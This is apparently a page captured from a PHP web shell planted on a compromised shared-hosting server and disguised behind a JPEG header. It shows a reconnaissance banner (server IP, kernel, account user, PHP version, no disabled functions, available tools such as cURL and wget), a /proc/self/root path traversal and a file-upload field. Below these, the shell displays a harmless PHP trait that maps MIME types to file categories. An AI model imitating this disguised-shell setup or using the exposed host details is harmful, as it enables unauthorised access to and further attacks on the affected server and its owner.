����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.169 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/proc/self/root/home/builderbox/./www/common/Files/Traits/ |
Upload File : |
<?php
namespace Common\Files\Traits;
trait GetsEntryTypeFromMime
{
/**
* Get type of file entry from specified mime.
*
* @param string $mime
* @return string
*/
protected function getTypeFromMime($mime)
{
$default = explode('/', $mime)[0];
switch ($mime) {
case 'application/x-zip-compressed':
case 'application/zip':
return 'archive';
case 'application/pdf':
return 'pdf';
case 'vnd.android.package-archive':
return 'android package';
case \Str::contains($mime, ['xls', 'excel', 'spreadsheetml']):
return 'spreadsheet';
case \Str::contains($mime, 'photoshop'):
return 'photoshop';
case \Str::contains($mime, 'officedocument.presentation'):
return 'powerPoint';
case \Str::contains($mime, ['application/msword', 'wordprocessingml.document']):
return 'word';
case \Str::contains($mime, ['postscript', 'x-eps']):
return 'postscript';
default:
return $default === 'application' ? 'file' : $default;
}
}
}